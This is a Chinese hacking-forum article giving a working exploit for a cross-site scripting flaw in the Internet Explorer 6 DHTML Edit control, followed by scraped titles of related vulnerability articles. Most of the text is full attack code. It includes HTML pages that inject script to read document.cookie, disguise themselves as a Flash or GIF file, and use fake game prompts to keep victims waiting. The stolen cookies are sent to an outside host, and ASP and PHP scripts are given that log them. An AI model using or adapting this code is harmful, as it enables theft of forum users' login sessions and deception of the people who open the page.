MSIE DHTML Edit跨站脚本漏洞_漏洞研究

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?! 

[受影响系统]  

Microsoft Internet Explorer 6.0 

- Microsoft Windows XP Professional SP1  

- Microsoft Windows XP Professional  

- Microsoft Windows XP Home SP1  

- Microsoft Windows XP Home  

- Microsoft Windows ME  

- Microsoft Windows 98 SE  

- Microsoft Windows 98  

- Microsoft Windows 2000  

[漏洞描述]  

Microsoft Internet Explorer DHTML edit控件不正确过滤部分数据,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。DHTML编辑控件存在一个安全问题可被父窗口访问,包括Script函数,攻击者使用exeScript直接注入javascript到控件,当目标用户打开恶意链接时,会导致恶意脚本代码执行,泄露敏感信息。 

看来只能影响到IE 6.0版本,并且对Windows XP SP2没有作用,不过没有给XP打SP2补丁的用户不在少数,这个漏洞的利用价值还是蛮大的。 

由于我使用的是Windwos XP SP1正好存在这个漏洞,我们就先来测试一下吧,在本地建立如下内容的HTML页面: 

<html> 

<head> 

<title>测试</title> 

</head> 

<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在装载,请稍后  

++++++++++++++</b>\'');setTimeout('main()',1000)"> 

<object  

id="x" 

classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" 

width="800"  

height="600"  

align="middle" 



<PARAM NAME="ActivateApplets" VALUE="1"> 

<PARAM NAME="ActivateActiveXControls" VALUE="1"> 

</object> 

<SCRIPT> 

function shellscript() 



window.name="poorchild"; 

open("http://www.hacker.com.cn/newbbs/announcements.asp?  

action=showone&boardid=0","poorchild"); 



function main() 



x.DOM.Script.execScript(shellscript.toString()); 

x.DOM.Script.setTimeout("shellscript()"); 

alert('等等++++++++++++++++++++++++++'); 

x.DOM.Script.execScript('alert(document.cookie)'); 



</SCRIPT> 

</body> 

</html> 

用IE浏览器打开,如果你的系统存在这个漏洞,看出现了什么。 

呵呵,弹出了我在黑防论坛上的Cookie信息。不过这个页面利用起来很不方便,并且成功率不高,如果没等到DHTML控件加载完毕就点击确定,是不会弹出任何Cookie信息的。 

没等到页面加载完毕就点击弹出的第一个确定,一定会攻击失败,看来还是不足的。我们来对这个页面进行一下补充和修改吧,使得它成为一个成功率高的偷取Cookie信息的网页,好了,我们现在开始动手。 

为了增加加载时间我们先将setTimeout('main()',1000)中的参数改大一些,就设成10000把,也就是10秒,够长了。虽然页面显示着正在加载,但状态栏中却显示着完毕,我们来修改状态栏的文字,加入如下的函数: 

function clock() { 

var title="正在装载,请稍后++++++++++++++"; 

status=title; 



为了尽可能的诱使浏览者去打开这个页面,我们把它改名成.swf格式的文件,即把此页面伪装成一个Flash文件。在页面中加入: 

<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600"> 

<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf"> 

<param name="quality" value="High"> 

<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object> 

同时隐藏DHTML控件,即将DHTML空间的width,height属性设置成0。为了将Cookie发送,我们添加如下脚本: 

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)"); 

这是为了测试方便,我将浏览者的Cookie信息发送到了网上一个发表评论的地方了。最终的测试页面是: 

<html> 

<head> 

<title>测试</title> 

</head> 

<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在装载,请稍后++++++++++++++</b>\'');clock();setTimeout('main()',10000)"> 

<object  

id="x" 

classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" 

width="0"  

height="0"  

align="middle" 



<PARAM NAME="ActivateApplets" VALUE="1"> 

<PARAM NAME="ActivateActiveXControls" VALUE="1"> 

</object> 

<SCRIPT> 

function clock() { 

var title="正在装载,请稍后++++++++++++++"; 

status=title; 

function shellscript() 



window.name="poorchild"; 

open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild"); 



function main() 



x.DOM.Script.execScript(shellscript.toString()); 

x.DOM.Script.setTimeout("shellscript()"); 

alert("游戏名称:神秘祭坛\n"); 

alert("测试通过者拥有着超人的观察力!\n"); 

alert("全世界只有10个人可以全部找出!\n"); 

alert("相信你就是这10个人中的一员\n"); 

alert("祝你好运++++++++++++++++++++\n"); 

alert("务必在找到不同后点击确定!!\n"); 

//x.DOM.Script.execScript('alert(document.cookie)'); 

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)"); 



</SCRIPT> 

<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600"> 

<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf"> 

<param name="quality" value="High"> 

<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object> 

</body> 

</html> 

其中的/college/UploadPic/2006/8/27/2006827233410827.swf是朋友发给我的地址,把我给下了一跳,不过没想到我却用它来骗稿费了,呵呵。 

为了测试,赶快去黑防论坛发表一篇文章,要有吸引力才行。 

够有吸引力的了吧?我猜中招的一定不少!其实我们可以把以上的攻击文件改名成.swf,为了在论坛上传方便(不允许swf格式),我改名为gif格式了。 

由于它是利用的IE漏洞,这个页面的地址可以在任意地方,不过注意: 

function shellscript() 



window.name="poorchild"; 

open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild"); 

这个函数中定义了我们要偷取浏览者机器中站点的Cookie信息,我设置的是黑防论坛的,大家可以换成要攻击的论坛。同时这个页面也要选取内容少的页面,最好不要带图片,以加快载入时间。 

好,我自己就先来看看效果吧。 

看来是成功了,为了不让浏览者看到自己的的Cookie信息,可以把它发送到自己定制的ASP页面,方法是在支持ASP和FSO组件的空间上建立以下页面: 

<% 

testfile=Server.MapPath("cookie.txt") 

cookie=Request("cookie") 

set fs=server.CreateObject("scripting.filesystemobject") 

set thisfile=fs.OpenTextFile(testfile,8,True,0) 

thisfile.WriteLine(""&cookie& "") 

thisfile.close 

set fs = nothing 

%> 

将它命名为Cookie.asp,注意修改以下内容: 

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)"); 

改为 

x.DOM.Script.execScript("window.open('http://youwebsite.com/cookie.asp?cookie= '+document.cookie)"); 

或在支持PHP的空间建立以下页面: 

<?php  

$info = getenv("QUERY_STRING");  

if ($info) {  

$fp = fopen("info.txt","a");  

fwrite($fp,$info."\n");  

fclose($fp);  

}  

header("Location: http://wwwhacker.com.cn"); 

这样通过这个漏洞,我们就可以偷取到任何论坛的Cookie信息了,不管论坛做了多么安全,只要浏览者IE存在此漏洞,就可成功获取别人的Cookie,这可称得上是论坛杀手了! 

时间: 2024-08-02 02:34:42

MSIE DHTML Edit跨站脚本漏洞_漏洞研究的相关文章

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比

跨站脚本说明_漏洞研究

以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的   问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章   ,   抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误   之处请   多多指点.   OK,go............   什么是跨站脚本(CSS/XSS)?   我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该   页面是可信赖的,但是当浏览器下

BBSXP5.15跨站攻击漏洞_漏洞研究

前言:在新云网站管理系统1.02出来的时候,他的留言本就存在跨站漏洞,我测试了黑客动画吧,还好没有开放留言本功能,然后又测试了黑软基地 居然可以成功利用,和新云官方网站都成功拿倒了管理元的cookies.  想不到吧. 看来跨站不得不防范啊!  BBSXP的漏洞近段时间闹得可火.现有的漏洞大家都见过了,就不说了.今晚无聊,看了看BBSXP 5.15最新版的几个文件代码,发现还是存在跨站攻击的漏洞.  Cookies.asp文件,代码如下:   对提交的 "no" 参数没做处理.再看se

Discuz!论坛install.php书写错误漏洞_漏洞研究

书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器.    前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍.看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了.在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的.这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全.这也是为什么朋友提出一定要在magic_qoute_g

蓝雨设计整站SQL注入漏洞_漏洞研究

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关  最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是

2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞_漏洞研究

测试系统:         动易(PowerEasy CMS SP6 071030以下版本) 安全综述:        动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品. 漏洞描述:     vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入     但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制.但是其过滤的顺序不对.有导致mss

研究桃源留言本的漏洞_漏洞研究

桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统.由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评.桃源留言本由原来的2.0版,升级到现在的3.0版.其官方网站也是3.0版.前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本.于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少.      一.上传漏洞     我在网上搜索的时候,发现已经有人

WDB论坛存在多个严重漏洞_漏洞研究

===============================================  仅以此文送给我的好友Bytes,  并祝他和他的女友璐子能够真的相爱一生,白头偕老  ===============================================  前言:  我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,"不就是在一个变量后面嵌入你的sql语句么,这个我也会",这是我听到最多的人们对WEB安全的认识,WEB安全

推荐:二次发现桃源网络硬盘漏洞_漏洞研究

本人在第10期上的黑防刊登了桃源网络硬盘相关的漏洞后.马上就通知了桃源官方修复了相关漏洞.近日,下班后无聊,就重新下载了桃源网络硬盘的最新版本2.5进行全面检测.发现虽然修补了用".",另存.下载其网站的配置文件及数据库等漏洞.但用其它的方法作了个测试后发现,汗.还是存在相关漏洞,还有就是可以构造代码,任意查看网络硬盘所有文件的源代码及配置文件和数据库.好的,转入正题吧. 为了给大家给个真实的视觉效应,特意在官方详细测试.第一就是上传漏洞,在这里官方已经换上了最新版本的V2.5了.所在